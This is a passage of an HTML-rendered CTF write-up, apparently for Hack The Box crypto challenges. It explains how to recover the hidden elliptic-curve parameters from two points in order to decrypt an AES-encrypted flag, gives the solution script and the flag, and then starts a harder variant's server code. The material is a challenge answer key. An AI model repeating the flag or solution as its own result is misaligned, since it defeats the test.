&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">json&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">dumps&lt;/span>&lt;span class="p">({&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;iv&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">iv&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">hex&lt;/span>&lt;span class="p">(),&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;enc&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">cipher&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">encrypt&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">flag&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">hex&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">else&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;Bye.&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">exit&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">if&lt;/span> &lt;span class="vm">__name__&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s1">&amp;#39;__main__&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">main&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="problem-statement-3">Problem Statement&lt;/h3>
&lt;p>The program generates random secret elliptic curve parameters and allows the user to:&lt;/p>
&lt;ul>
&lt;li>
&lt;p>Option 1: Obtain the modulus &lt;code>p&lt;/code> and a few MSB bits of ECC parameters.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Option 2: Obtain a random point on the curve.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Option 3: Provide the encrypted FLAG.&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>Our mission is to decrypt the flag.&lt;/p>
&lt;h3 id="initial-analysis-4">Initial analysis&lt;/h3>
&lt;h4 id="what-we-need-to-decrypt-the-flag">What we need to decrypt the flag?&lt;/h4>
&lt;p>Obviously, we cannot break the AES to find the flag without the &lt;code>key&lt;/code>. To recover the &lt;code>key&lt;/code>, we need to know all elliptic curve&amp;rsquo;s parameters, which are &lt;code>a&lt;/code>, &lt;code>b&lt;/code> and &lt;code>p&lt;/code>. We already known &lt;code>p&lt;/code>, so what we do is trying to retrieve &lt;code>a&lt;/code> and &lt;code>b&lt;/code> from the information provided by the server.&lt;/p>
&lt;h4 id="having-many-points-on-the-curve">Having many points on the curve&lt;/h4>
&lt;p>Every point $P(x, y)$ belonging to this elliptic curve must satisfy the equation: $y^2 \equiv x^3 + ax + b (\text{mod } p)$. To find &lt;code>a&lt;/code> and &lt;code>b&lt;/code> in &lt;code>p&lt;/code>, we must at least have a system of 2 equations like this. Fortunately, the server allows user to generate many points.&lt;/p>
&lt;h3 id="solution-method-3">Solution Method&lt;/h3>
&lt;p>Suppose we have two different points $M(x_m, y_m)$, $N(x_n, y_n)$ in the curve. We recover $a,b$ by below formulas:&lt;/p>
&lt;p>$a \equiv (y^2_m - y^2_n - (x^3_m - x^3_n))(x_m - x_n)^{-1} (\text{mod } p)$&lt;/p>
&lt;p>$b \equiv y^2_m - x^3_m - ax_m (\text{mod } p)$&lt;/p>
&lt;p>The script:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">recover&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">p&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">M&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">N&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">x1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">y1&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">M&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">x2&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">y2&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">N&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">a&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">pow&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">x1&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="n">x2&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">p&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nb">pow&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">y1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">2&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">p&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="nb">pow&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">y2&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">2&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">p&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nb">pow&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">x1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">3&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">p&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="nb">pow&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">x2&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">3&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">p&lt;/span>&lt;span class="p">)))&lt;/span> &lt;span class="o">%&lt;/span> &lt;span class="n">p&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">b&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nb">pow&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">y1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">2&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">p&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="nb">pow&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">x1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">3&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">p&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="n">a&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="n">x1&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">%&lt;/span> &lt;span class="n">p&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">a&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">b&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>That&amp;rsquo;s all! By having &lt;code>a&lt;/code> and &lt;code>b&lt;/code>, we can easily recover the &lt;code>key&lt;/code> and therefore decrypt the FLAG.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">hashlib&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">sha256&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">random&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">randint&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">Crypto.Util.number&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">getPrime&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">long_to_bytes&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">Crypto.Cipher&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">AES&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">Crypto.Util.Padding&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">pad&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">iv&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">bytes&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">fromhex&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">iv&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">key&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">sha256&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">long_to_bytes&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">pow&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">a&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">b&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">p&lt;/span>&lt;span class="p">)))&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">digest&lt;/span>&lt;span class="p">()[:&lt;/span>&lt;span class="mi">16&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">cipher&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">AES&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">new&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">key&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">AES&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">MODE_CBC&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">iv&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">enc&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">bytes&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">fromhex&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">enc&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">cipher&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">decrypt&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">enc&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="results-3">Results&lt;/h3>
&lt;p>Flag is: &lt;strong>HTB{d3fund_s4v3s_th3_d4y!}&lt;/strong>&lt;/p>
&lt;h2 id="elliptic-labyrinth-revenge">Elliptic Labyrinth Revenge&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Given file:&lt;/strong> &lt;a href="https://drive.google.com/file/d/1wKzblzA6_mYWHLM-CHcUo-6NjIzX9Llc/view?usp=sharing" target="_blank" rel="noopener">Get it here!&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Description:&lt;/strong> As you navigate through the labyrinth inside the tomb, you encounter GPS inaccuracies that make it difficult to determine the correct path to the exit. Can you overcome the technical issues and use your instincts to find your way out of the maze?&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Note:&lt;/strong> This challenge had a docker but it might be closed at the time you are reading this. All needed files will be given in the write-ups.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Category:&lt;/strong> Crypto&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Difficulty:&lt;/strong> Hard&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>This challenge is a modified version of &lt;code>Elliptic Labyrinth&lt;/code> to force CTF players solve it in intended way.&lt;/p>
&lt;p>The server script is shown below, which has a bit different from the previous version:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">os&lt;/span>&lt;span class="o">,&lt;/span> &lt;span class="nn">json&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">hashlib&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">sha256&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">random&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">randint&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">Crypto.Util.number&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">getPrime&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">long_to_bytes&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">Crypto.Cipher&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">AES&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">Crypto.Util.Padding&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">pad&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">sage.all_cmdline&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="o">*&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">secret&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">FLAG&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">class&lt;/span> &lt;span class="nc">ECC&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">def&lt;/span> &lt;span class="fm">__init__&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">bits&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">p&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">getPrime&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">bits&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">a&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">randint&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">p&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">b&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">randint&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">p&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">def&lt;/span> &lt;span class="nf">gen_random_point&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">EllipticCurve&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">GF&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">p&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">a&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">b&lt;/span>&lt;span class="p">])&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">random_point&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">menu&lt;/span>&lt;span class="p">():&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;1. Get parameters of path&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;2. Try to exit the labyrinth&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">option&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">input&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;&amp;gt; &amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">option&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">main&lt;/span>&lt;span class="p">():&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ec&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">ECC&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">512&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">A&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">ec&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">gen_random_point&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;This is the point you calculated before:&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">json&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">dumps&lt;/span>&lt;span class="p">({&lt;/span>&lt;span class="s1">&amp;#39;x&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="nb">hex&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">A&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]),&lt;/span> &lt;span class="s1">&amp;#39;y&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="nb">hex&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">A&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">])}))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">while&lt;/span> &lt;span class="kc">True&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">choice&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">menu&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">choice&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s1">&amp;#39;1&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">r&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">randint&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">ec&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">p&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">bit_length&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="o">//&lt;/span> &lt;span class="mi">3&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">2&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="n">ec&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">p&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">bit_length&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="o">//&lt;/span> &lt;span class="mi">3&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">json&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">dumps&lt;/span>&lt;span class="p">({&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;p&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="nb">hex&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">ec&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">p&lt;/span>&lt;span class="p">),&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;a&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="nb">hex&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">ec&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">a&lt;/span> &lt;span class="o">&amp;gt;&amp;gt;&lt;/span> &lt;span class="n">r&lt;/span>&lt;span class="p">),&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;b&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="nb">hex&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">ec&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">b&lt;/span> &lt;span class="o">&amp;gt;&amp;gt;&lt;/span> &lt;span class="n">r&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">elif&lt;/span> &lt;span class="n">choice&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s1">&amp;#39;2&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">iv&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">os&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">urandom&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">16&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">key&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">sha256&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">long_to_bytes&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">pow&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">ec&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">a&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">ec&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">b&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">ec&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">p&lt;/span>&lt;span class="p">)))&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">digest&lt;/span>&lt;span class="p">()[:&lt;/span>&lt;span class="mi">16&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">cipher&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">AES&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">new&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">key&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">AES&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">MODE_CBC&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">iv&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">flag&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">pad&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">FLAG&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">16&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">json&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">dumps&lt;/span>&lt;span class="p">({&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;iv&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">iv&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">hex&lt;/span>&lt;span class="p">(),&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;enc&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">cipher&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">encrypt&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">flag&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">hex&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">else&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;Bye.&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">exit&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
